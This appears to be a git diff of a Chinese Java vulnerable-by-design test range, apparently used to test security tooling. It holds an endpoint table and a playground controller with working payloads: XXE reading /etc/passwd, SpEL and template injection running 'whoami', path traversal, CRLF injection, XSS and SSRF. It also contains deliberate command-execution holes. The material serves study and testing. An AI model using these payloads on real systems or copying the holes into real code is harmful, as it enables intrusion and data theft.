http://192.168.0.9:9991/xxe_xmlreaderfactory | 攻击 | -| xxe_saxbuilder_attack | XXE-saxbuilder | POST | http://192.168.0.9:9991/xxe_saxbuilder | 攻击 | -| xxe_saxreader_attack | XXE-saxreader | POST | http://192.168.0.9:9991/xxe_saxreader | 攻击 | -| xxe_documentbuilderfactory_attack | XXE-documentbuilderfactory | POST | http://192.168.0.9:9991/xxe_documentbuilderfactory | 攻击 | -| xxe_documentbuilderfactory_xinclude_attack | XXE-documentbuilderfactory_xinclude | POST | http://192.168.0.9:9991/xxe_documentbuilderfactory_xinclude | 攻击 | -| OpenRedirector_ModelAndView_attack | URL重定向漏洞-ModelAndView | GET | http://192.168.0.9:9991/OpenRedirector_ModelAndView?url=https://www.baidu.com | 攻击 | -| OpenRedirector_sendRedirect_attack | URL重定向漏洞-sendRedirect | GET | http://192.168.0.9:9991/OpenRedirector_sendRedirect?url=https://www.baidu.com | 攻击 | -| OpenRedirector_lacation_attack | URL重定向漏洞-location | GET | http://192.168.0.9:9991/OpenRedirector_lacation?url=https://www.baidu.com | 攻击 | -| swagger-ui_attack | swagger-ui-未授权访问漏洞 | GET | http://192.168.0.9:9991/swagger-ui.html | 攻击 | -| xxe_wxpay_attack | 微信支付XXE漏洞 | POST | http://192.168.0.9:9974/wxpay-xxe | 攻击 | -| xstream_CVE-2019-10173 | xstream 反序列化漏洞(CVE-2019-10173) | POST | http://192.168.0.9:9973/CVE-2019-10173 | 攻击 | -| jackson-databind_CVE-2019-12384 | jackson-databind 反序列化漏洞(CVE-2019-12384) | GET | http://192.168.0.9:9971/CVE-2019-12384 | 攻击 | -| log4j2_normal | Log4j2 远程代码执行漏洞(CVE-2021-44228) | POST | http://192.168.0.9:9998/log4j2 | 正常 | -| fastjson_1_2_24_normal | fastjson-1.2.24反序列漏洞 | POST | http://192.168.0.9:9999/fastjson1.2.24-process | 正常 | -| fastjson1_2_25_normal | fastjson-1.2.25-1.2.41反序列漏洞-disableAutoTypeSupport | POST | http://192.168.0.9:9987/fastjson1.2.25-process | 正常 | -| fastjson1_2_41_normal | fastjson-1.2.25-1.2.41反序列漏洞-setAutoTypeSupport | POST | http://192.168.0.9:9987/fastjson1.2.41-process-setAutoTypeSupport | 正常 | -| fastjson1_2_42_normal | fastjson-1.2.42反序列漏洞 | POST | http://192.168.0.9:9986/fastjson1.2.42-process | 正常 | -| fastjson1_2_43_normal | fastjson-1.2.43反序列漏洞 | POST | http://192.168.0.9:9985/fastjson1.2.43-process | 正常 | -| fastjson1_2_45_normal | fastjson-1.2.45反序列漏洞 | POST | http://192.168.0.9:9984/fastjson1.2.45-process | 正常 | -| fastjson1_2_59_normal | fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59) | POST | http://192.168.0.9:9983/fastjson1.2.59-process | 正常 | -| fastjson1_2_60_normal | fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60) | POST | http://192.168.0.9:9982/fastjson1.2.60-process | 正常 | -| fastjson1_2_61_normal | fastjson-1.2.61反序列漏洞 | POST | http://192.168.0.9:9981/fastjson1.2.61-process | 正常 | -| fastjson1_2_62_normal | fastjson-1.2.62反序列漏洞 | POST | http://192.168.0.9:9980/fastjson1.2.62-process | 正常 | -| fastjson1_2_66_normal | fastjson-1.2.66反序列漏洞 | POST | http://192.168.0.9:9979/fastjson1.2.66-process | 正常 | -| fastjson1_2_67_normal | fastjson-1.2.67反序列漏洞 | POST | http://192.168.0.9:9978/fastjson1.2.67-process | 正常 | -| fastjson1_2_68_normal | fastjson-1.2.68反序列漏洞 | POST | http://192.168.0.9:9977/fastjson1.2.68-process | 正常 | -| fastjson1_2_80_normal | fastjson-1.2.80反序列漏洞 | POST | http://192.168.0.9:9976/fastjson1.2.80-process | 正常 | -| fastjson1_2_83_normal | fastjson-1.2.83-反序列漏洞 | POST | http://192.168.0.9:9975/fastjson1.2.83-process | 正常 | -| sql_injection_hsqldb_normal | SQL注入-hsqldb | GET | http://192.168.0.9:9989/hsqldb?username=1' | 正常 | -| sql_injection_lombok_normal | SQL注入-lombok | POST | http://192.168.0.9:9991/users/lombok | 正常 | -| sql_injection_longlist_normal | SQL注入-longlist | POST | http://192.168.0.9:9991/users/findByIds | 正常 | -| sql_injection_longint_normal | SQL注入-longint | POST | http://192.168.0.9:9991/users/getUserByUId | 正常 | -| sql_injection_jpaone_normal | SQL注入-jpaone | GET | http://192.168.0.9:9991/users/jpaone?name=test | 正常 | -| sql_injection_jpawithAnnotations_normal | SQL注入-jpawithAnnotations | GET | http://192.168.0.9:9991/users/jpawithAnnotations?name=test | 正常 | -| sql_injection_Annotation_normal | SQL注入-MyBatis注解方式 | GET | http://192.168.0.9:9991/users/by-username?name=test | 正常 | -| sql_injection_id_normal | SQL注入-mybatics-数字 | GET | http://192.168.0.9:9991/users/1/ | 正常 | -| sql_injection_ids_normal | SQL注入-mybatics-数组 | GET | http://192.168.0.9:9991/users/ids/?ids=1,2,3 | 正常 | -| sql_injection_like_normal | SQL注入-mybatics-like模糊匹配 | GET | http://192.168.0.9:9991/users/name?name=A | 正常 | -| sql_injection_strs_normal | SQL注入-mybatics-字符串数组 | GET | http://192.168.0.9:9991/users/names?names=Alice&names=Bob | 正常 | -| sql_injection_orderby_normal | SQL注入-mybatics-排序 | GET | http://192.168.0.9:9991/users/sort?orderByColumn=name&orderByDirection=asc | 正常 | -| sql_injection_Optional_normal | SQL注入-Optional | GET | http://192.168.0.9:9991/users/findByOptionalUsername?username=test | 正常 | -| sql_injection_Object_normal | SQL注入-Object | POST | http://192.168.0.9:9991/users/get_name_object | 正常 | -| xss_reflect_normal | 反射型XSS漏洞 | GET | http://192.168.0.9:9991/xss_reflect?name=1 | 正常 | -| xss_dom_normal | DOM XSS漏洞 | POST | http://192.168.0.9:9991/xss_dom | 正常 | -| file_download_normal | 任意文件下载漏洞 | GET | http://192.168.0.9:9990/file_download?fileName=test.log | 正常 | -| ReDos_normal_1 | ReDoS攻击-(a+)+ | GET | http://192.168.0.9:9991/testReDos1?input=1 | 正常 | -| ReDos_normal_2 | ReDoS攻击-([a-zA-Z]+)* | GET | http://192.168.0.9:9991/testReDos2?input=1 | 正常 | -| ReDos_normal_3 | ReDoS攻击-(a\|aa)+ | GET | http://192.168.0.9:9991/testReDos3?input=1 | 正常 | -| ReDos_normal_4 | ReDoS攻击-(a\|a?)+ | GET | http://192.168.0.9:9991/testReDos4?input=1 | 正常 | -| ReDos_normal_5 | ReDoS攻击-(.*a){20} | GET | http://192.168.0.9:9991/testReDos5?input=1 | 正常 | -| file_write_normal | 任意文件写入漏洞 | GET | http://192.168.0.9:9990/file_write?fileName=test.log&data=test | 正常 | -| runtime_command_execute_normal | 命令执行漏洞-Runtime | GET | http://192.168.0.9:9990/runtime_command_execute?command=ls | 正常 | -| process_builder_command_normal | 命令执行漏洞-ProcessBuilder | GET | http://192.168.0.9:9990/process_builder_command_execute?command=ls | 正常 | -| spel_expression_normal | SPEL表达式攻击 | GET | http://192.168.0.9:9990/spel_expression?input=1 | 正常 | -| ssrf_openStream_normal | SSRF攻击-openStream | GET | http://192.168.0.9:9990/ssrf_openStream?url=http://example.com | 正常 | -| ssrf_openConnection_normal | SSRF攻击-openConnection | GET | http://192.168.0.9:9990/ssrf_openConnection?url=http://example.com | 正常 | -| ssrf_requestGet_normal | SSRF攻击-requestGet | GET | http://192.168.0.9:9990/ssrf_requestGet?url=http://example.com | 正常 | -| ssrf_okhttp_normal | SSRF攻击-okhttp | GET | http://192.168.0.9:9990/ssrf_okhttp?url=http://example.com | 正常 | -| ssrf_defaultHttpClient_normal | SSRF攻击-defaultHttpClient | GET | http://192.168.0.9:9990/ssrf_defaultHttpClient?url=http://example.com | 正常 | -| OpenRedirector_ModelAndView_normal | URL重定向漏洞-ModelAndView | GET | http://192.168.0.9:9990/OpenRedirector_ModelAndView?url=https://example.com | 正常 | -| OpenRedirector_sendRedirect_normal | URL重定向漏洞-sendRedirect | GET | http://192.168.0.9:9990/OpenRedirector_sendRedirect?url=https://example.com | 正常 | -| OpenRedirector_lacation_normal | URL重定向漏洞-location | GET | http://192.168.0.9:9990/OpenRedirector_lacation?url=https://example.com | 正常 | -| druid_sqlwall | druid-SQL防火墙 | GET | http://192.168.0.9:9997/druid_sql?id=1 | 误报 | +模块运行方式与其他单体靶场一致,直接执行 `bash run-local-build.sh` 即可;推荐先从页面入口进入,再按 [`doc/project-tutorials.md`](./doc/project-tutorials.md) 里的顺序逐个验证。 ## 参考开发代码 @@ -373,6 +240,13 @@ adding: my/agent/SimpleAgent.class(in = 492) (out= 320)(deflated 34%) - https://github.com/zhlu32/range_java_micro_service_seclab - https://rasp.baidu.com/doc/install/testcase.html - https://github.com/lemono0/FastJsonParty/ +- https://github.com/roottusk/vapi +- https://github.com/jweny/shiro-cve-2020-17523 +- https://github.com/SwagXz/encrypt-labs +- https://github.com/JSREI/js-xhr-hook-goat +- https://github.com/outlaws-bai/GalaxyDemo +- https://github.com/0ctDay/encrypt-decrypt-vuls/ +- https://github.com/r0eXpeR/fingerprint ## Star History Chart @@ -380,5 +254,5 @@ adding: my/agent/SimpleAgent.class(in = 492) (out= 320)(deflated 34%) ## 待进行 -- [ ] cas-client xxe(漏洞和修复) +- [x] cas-client xxe(漏洞和修复) - [ ] SQL注入传 order by 参数, 白名单列表(误报) diff --git a/SimpleAgent/Dockerfile b/SimpleAgent/Dockerfile new file mode 100644 index 0000000..4828a9a --- /dev/null +++ b/SimpleAgent/Dockerfile @@ -0,0 +1,4 @@ +FROM busybox + +RUN mkdir /agent_tmp +COPY SimpleAgent.jar /agent_tmp/agent.jar \ No newline at end of file diff --git a/SimpleAgent/docker-compose.yaml b/SimpleAgent/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/SimpleAgent/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/actuator_authorized_1.X/Dockerfile b/actuator_authorized_1.X/Dockerfile index d77c545..0e462e4 100644 --- a/actuator_authorized_1.X/Dockerfile +++ b/actuator_authorized_1.X/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/actuator/target/actuator_authorized_1.X-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/actuator_authorized_1.X/Dockerfile_local b/actuator_authorized_1.X/Dockerfile_local index 76bce80..d6a58c5 100644 --- a/actuator_authorized_1.X/Dockerfile_local +++ b/actuator_authorized_1.X/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/actuator_authorized_1.X-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/actuator_authorized_1.X/actuator_authorized_1.X.iml b/actuator_authorized_1.X/actuator_authorized_1.X.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/actuator_authorized_1.X/actuator_authorized_1.X.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/actuator_authorized_1.X/docker-compose.yaml b/actuator_authorized_1.X/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/actuator_authorized_1.X/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/actuator_authorized_1.X/src/main/java/com/myapp/ActuatorPageController.java b/actuator_authorized_1.X/src/main/java/com/myapp/ActuatorPageController.java new file mode 100644 index 0000000..10fc8df --- /dev/null +++ b/actuator_authorized_1.X/src/main/java/com/myapp/ActuatorPageController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ActuatorPageController { + + @GetMapping(value = {"/", "/actuator-authorized-1x"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "" + + "Actuator 1.X 修复测试页" + + style() + + "

Actuator 1.X 修复测试页

" + + "

这个页面用于验证修复效果。默认访问当前服务的 /trace,你也可以手动改目标路径再发送。

" + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/actuator_authorized_2.X/Dockerfile b/actuator_authorized_2.X/Dockerfile index b16ecb5..fc39522 100644 --- a/actuator_authorized_2.X/Dockerfile +++ b/actuator_authorized_2.X/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/actuator/target/actuator_authorized-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/actuator_authorized_2.X/Dockerfile_local b/actuator_authorized_2.X/Dockerfile_local index c507805..f333b41 100644 --- a/actuator_authorized_2.X/Dockerfile_local +++ b/actuator_authorized_2.X/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/actuator_authorized-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/actuator_authorized_2.X/actuator_authorized.iml b/actuator_authorized_2.X/actuator_authorized.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/actuator_authorized_2.X/actuator_authorized.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/actuator_authorized_2.X/docker-compose.yaml b/actuator_authorized_2.X/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/actuator_authorized_2.X/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/actuator_authorized_2.X/src/main/java/com/myapp/ActuatorPageController.java b/actuator_authorized_2.X/src/main/java/com/myapp/ActuatorPageController.java new file mode 100644 index 0000000..50bb3af --- /dev/null +++ b/actuator_authorized_2.X/src/main/java/com/myapp/ActuatorPageController.java @@ -0,0 +1,30 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ActuatorPageController { + + @GetMapping(value = {"/", "/actuator-authorized-2x"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "" + + "Actuator 2.X 修复测试页" + + style() + + "

Actuator 2.X 修复测试页

" + + "

默认会用 Basic Auth 请求当前服务的 /actuator。你可以修改账号、密码或目标路径后再发送。

" + + "" + + "" + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/actuator_authorized_2.X/src/main/java/com/myapp/SecurityConfig.java b/actuator_authorized_2.X/src/main/java/com/myapp/SecurityConfig.java new file mode 100644 index 0000000..ff47969 --- /dev/null +++ b/actuator_authorized_2.X/src/main/java/com/myapp/SecurityConfig.java @@ -0,0 +1,23 @@ +package com.myapp; + +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; + +@Configuration +public class SecurityConfig extends WebSecurityConfigurerAdapter { + + @Override + protected void configure(HttpSecurity http) throws Exception { + http + .csrf().disable() + .authorizeRequests() + .antMatchers("/", "/actuator-authorized-2x", "/error").permitAll() + .antMatchers("/actuator", "/actuator/**").authenticated() + .anyRequest().permitAll() + .and() + .httpBasic() + .and() + .formLogin(); + } +} diff --git a/actuator_unauthorized_1.X/Dockerfile b/actuator_unauthorized_1.X/Dockerfile index ca89516..5ab8732 100644 --- a/actuator_unauthorized_1.X/Dockerfile +++ b/actuator_unauthorized_1.X/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/actuator/target/actuator_unauthorized_1.X-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/actuator_unauthorized_1.X/Dockerfile_local b/actuator_unauthorized_1.X/Dockerfile_local index 2e7a9d0..5a09e85 100644 --- a/actuator_unauthorized_1.X/Dockerfile_local +++ b/actuator_unauthorized_1.X/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/actuator_unauthorized_1.X-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/actuator_unauthorized_1.X/actuator_unauthorized_1.X.iml b/actuator_unauthorized_1.X/actuator_unauthorized_1.X.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/actuator_unauthorized_1.X/actuator_unauthorized_1.X.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/actuator_unauthorized_1.X/docker-compose.yaml b/actuator_unauthorized_1.X/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/actuator_unauthorized_1.X/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/actuator_unauthorized_1.X/src/main/java/com/myapp/ActuatorPageController.java b/actuator_unauthorized_1.X/src/main/java/com/myapp/ActuatorPageController.java new file mode 100644 index 0000000..8966246 --- /dev/null +++ b/actuator_unauthorized_1.X/src/main/java/com/myapp/ActuatorPageController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ActuatorPageController { + + @GetMapping(value = {"/", "/actuator-unauthorized-1x"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "" + + "Actuator 1.X 未授权测试页" + + style() + + "

Actuator 1.X 未授权测试页

" + + "

点击按钮会直接访问当前服务的 /trace 接口。你也可以修改目标路径后再发起请求。

" + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/actuator_unauthorized_2.X/Dockerfile b/actuator_unauthorized_2.X/Dockerfile index 1f3ac2c..dfcc1c0 100644 --- a/actuator_unauthorized_2.X/Dockerfile +++ b/actuator_unauthorized_2.X/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/actuator/target/actuator_unauthorized-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/actuator_unauthorized_2.X/Dockerfile_local b/actuator_unauthorized_2.X/Dockerfile_local index 165f4a5..3d0f8ee 100644 --- a/actuator_unauthorized_2.X/Dockerfile_local +++ b/actuator_unauthorized_2.X/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/actuator_unauthorized-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/actuator_unauthorized_2.X/actuator_unauthorized.iml b/actuator_unauthorized_2.X/actuator_unauthorized.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/actuator_unauthorized_2.X/actuator_unauthorized.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/actuator_unauthorized_2.X/docker-compose.yaml b/actuator_unauthorized_2.X/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/actuator_unauthorized_2.X/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/actuator_unauthorized_2.X/src/main/java/com/myapp/ActuatorPageController.java b/actuator_unauthorized_2.X/src/main/java/com/myapp/ActuatorPageController.java new file mode 100644 index 0000000..c459b81 --- /dev/null +++ b/actuator_unauthorized_2.X/src/main/java/com/myapp/ActuatorPageController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ActuatorPageController { + + @GetMapping(value = {"/", "/actuator-unauthorized-2x"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "" + + "Actuator 2.X 未授权测试页" + + style() + + "

Actuator 2.X 未授权测试页

" + + "

点击按钮会直接访问当前服务的 /actuator 接口。你也可以修改目标路径后再发起请求。

" + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/base_vul/Dockerfile b/base_vul/Dockerfile index 04dfba3..8094074 100644 --- a/base_vul/Dockerfile +++ b/base_vul/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/base_vul/target/base_vul-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/base_vul/Dockerfile_local b/base_vul/Dockerfile_local index 07eb3a5..d778014 100644 --- a/base_vul/Dockerfile_local +++ b/base_vul/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/base_vul-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/base_vul/base_vul.iml b/base_vul/base_vul.iml index da988f3..17327a2 100644 --- a/base_vul/base_vul.iml +++ b/base_vul/base_vul.iml @@ -1,16 +1,12 @@ - + - - - - - + @@ -20,118 +16,4 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/base_vul/docker-compose.yaml b/base_vul/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/base_vul/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/base_vul/pom.xml b/base_vul/pom.xml index 64e2b4c..bdca0d5 100644 --- a/base_vul/pom.xml +++ b/base_vul/pom.xml @@ -41,9 +41,9 @@ 2.1.4 - mysql - mysql-connector-java - 8.0.23 + org.xerial + sqlite-jdbc + 3.45.3.0 org.springframework @@ -115,6 +115,11 @@ org.springframework.boot spring-boot-starter-data-jpa + + javax.persistence + javax.persistence-api + 2.2 + @@ -148,4 +153,4 @@ - \ No newline at end of file + diff --git a/base_vul/src/main/java/com/myapp/config/SQLiteDialect.java b/base_vul/src/main/java/com/myapp/config/SQLiteDialect.java new file mode 100644 index 0000000..e78ae1b --- /dev/null +++ b/base_vul/src/main/java/com/myapp/config/SQLiteDialect.java @@ -0,0 +1,79 @@ +package com.myapp.config; + +import org.hibernate.dialect.Dialect; +import org.hibernate.dialect.identity.IdentityColumnSupport; +import org.hibernate.dialect.identity.IdentityColumnSupportImpl; + +import java.sql.Types; + +public class SQLiteDialect extends Dialect { + public SQLiteDialect() { + registerColumnType(Types.BIT, "boolean"); + registerColumnType(Types.TINYINT, "tinyint"); + registerColumnType(Types.SMALLINT, "smallint"); + registerColumnType(Types.INTEGER, "integer"); + registerColumnType(Types.BIGINT, "bigint"); + registerColumnType(Types.FLOAT, "float"); + registerColumnType(Types.REAL, "real"); + registerColumnType(Types.DOUBLE, "double"); + registerColumnType(Types.NUMERIC, "numeric"); + registerColumnType(Types.DECIMAL, "decimal"); + registerColumnType(Types.CHAR, "char"); + registerColumnType(Types.VARCHAR, "varchar"); + registerColumnType(Types.LONGVARCHAR, "longvarchar"); + registerColumnType(Types.DATE, "date"); + registerColumnType(Types.TIME, "time"); + registerColumnType(Types.TIMESTAMP, "timestamp"); + registerColumnType(Types.BINARY, "blob"); + registerColumnType(Types.VARBINARY, "blob"); + registerColumnType(Types.LONGVARBINARY, "blob"); + registerColumnType(Types.BLOB, "blob"); + registerColumnType(Types.CLOB, "clob"); + registerColumnType(Types.BOOLEAN, "boolean"); + } + + @Override + public IdentityColumnSupport getIdentityColumnSupport() { + return new IdentityColumnSupportImpl() { + @Override + public boolean supportsIdentityColumns() { + return true; + } + + @Override + public String getIdentitySelectString(String table, String column, int type) { + return "select last_insert_rowid()"; + } + + @Override + public String getIdentityColumnString(int type) { + return "integer"; + } + }; + } + + @Override + public boolean hasAlterTable() { + return false; + } + + @Override + public boolean dropConstraints() { + return false; + } + + @Override + public String getAddColumnString() { + return "add column"; + } + + @Override + public boolean supportsIfExistsBeforeTableName() { + return true; + } + + @Override + public boolean supportsCascadeDelete() { + return false; + } +} diff --git a/base_vul/src/main/java/com/myapp/controller/CommandController.java b/base_vul/src/main/java/com/myapp/controller/CommandController.java index 4fa0b17..cce6903 100644 --- a/base_vul/src/main/java/com/myapp/controller/CommandController.java +++ b/base_vul/src/main/java/com/myapp/controller/CommandController.java @@ -12,6 +12,7 @@ public class CommandController { @GetMapping("/runtime_command_execute") public String executeRuntimeCommand(@RequestParam String command) throws IOException { String output = ""; + System.out.println("执行命令:"+command); Process process = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; diff --git a/base_vul/src/main/java/com/myapp/controller/PlaygroundController.java b/base_vul/src/main/java/com/myapp/controller/PlaygroundController.java new file mode 100644 index 0000000..0ca9052 --- /dev/null +++ b/base_vul/src/main/java/com/myapp/controller/PlaygroundController.java @@ -0,0 +1,117 @@ +package com.myapp.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String xmlPayload = "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>&xxe;".replace("< !", "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>&xxe;".replace("< !", "" + + "base_vul Playground" + + style() + + "

base_vul Playground

" + + "

请选择一个预设场景。切换场景后,方法、路径、内容类型和请求体会自动回填。文件上传场景请在下方选择文件。

" + + "" + + "" + + "" + + "" + + "" + + "" + + "
" + + "

说明:发送请求会以文本形式展示响应,适合看接口返回。若要实际触发 XSS、打开重定向或直接观察 HTML 页面效果,请使用“浏览器中打开”。场景列表支持滚动,已尽量补齐当前项目中的演示接口。

" + + "
等待发送请求...
" + + "", "application/json", "", false) + "," + + scenario("XSS", "XSS 存储型", "GET", "/xss_storage?name=%3Cscript%3Ealert(123)%3C/script%3E", "application/json", "", false) + "," + + scenario("XSS", "XSS DOM 入口页", "GET", "/xss_dom_index", "application/json", "", false) + "," + + scenario("XSS", "XSS DOM 型", "POST", "/xss_dom", "application/x-www-form-urlencoded", "name=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E", false) + "," + + scenario("文件操作", "文件上传页面", "GET", "/file_upload", "application/json", "", false) + "," + + scenario("文件操作", "文件上传", "POST", "/file_upload", "multipart/form-data", "", true) + "," + + scenario("文件操作", "任意文件读取", "GET", "/file_read?filePath=/etc/passwd", "application/json", "", false) + "," + + scenario("文件操作", "任意文件写入", "GET", "/file_write?fileName=uploads/test.txt&data=hello_from_playground", "application/json", "", false) + "," + + scenario("文件操作", "任意文件下载", "GET", "/file_download?fileName=../pom.xml", "application/json", "", false) + "," + + scenario("文件操作", "任意文件删除", "GET", "/file_delete?fileName=../test.txt", "application/json", "", false) + "," + + scenario("命令执行与表达式", "Runtime 命令执行", "GET", "/runtime_command_execute?command=whoami", "application/json", "", false) + "," + + scenario("命令执行与表达式", "ProcessBuilder 命令执行", "GET", "/process_builder_command_execute?command=whoami", "application/json", "", false) + "," + + scenario("命令执行与表达式", "SpEL 表达式注入", "GET", "/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami')", "application/x-www-form-urlencoded", "", false) + "," + + scenario("命令执行与表达式", "SSTI FreeMarker", "GET", "/ssti_freemarker?templateContent=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22whoami%22%29%7D", "application/x-www-form-urlencoded", "", false) + "," + + scenario("命令执行与表达式", "SSTI Velocity", "GET", "/ssti_velocity?content=%23set (%24exp %3d \"exp\")%3b%24exp.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")", "application/x-www-form-urlencoded", "", false) + "," + + scenario("命令执行与表达式", "不安全反射", "GET", "/unsafeReflection?className=com.example.malicious.MaliciousClass", "application/json", "", false) + "," + + scenario("请求处理", "CRLF 注入", "GET", "/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456", "application/x-www-form-urlencoded", "", false) + "," + + scenario("请求处理", "开放重定向 ModelAndView", "GET", "/OpenRedirector_ModelAndView?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("请求处理", "开放重定向 sendRedirect", "GET", "/OpenRedirector_sendRedirect?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("请求处理", "开放重定向 Location", "GET", "/OpenRedirector_lacation?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF", "SSRF openStream", "GET", "/ssrf_openStream?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF", "SSRF openConnection", "GET", "/ssrf_openConnection?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF", "SSRF Request.Get", "GET", 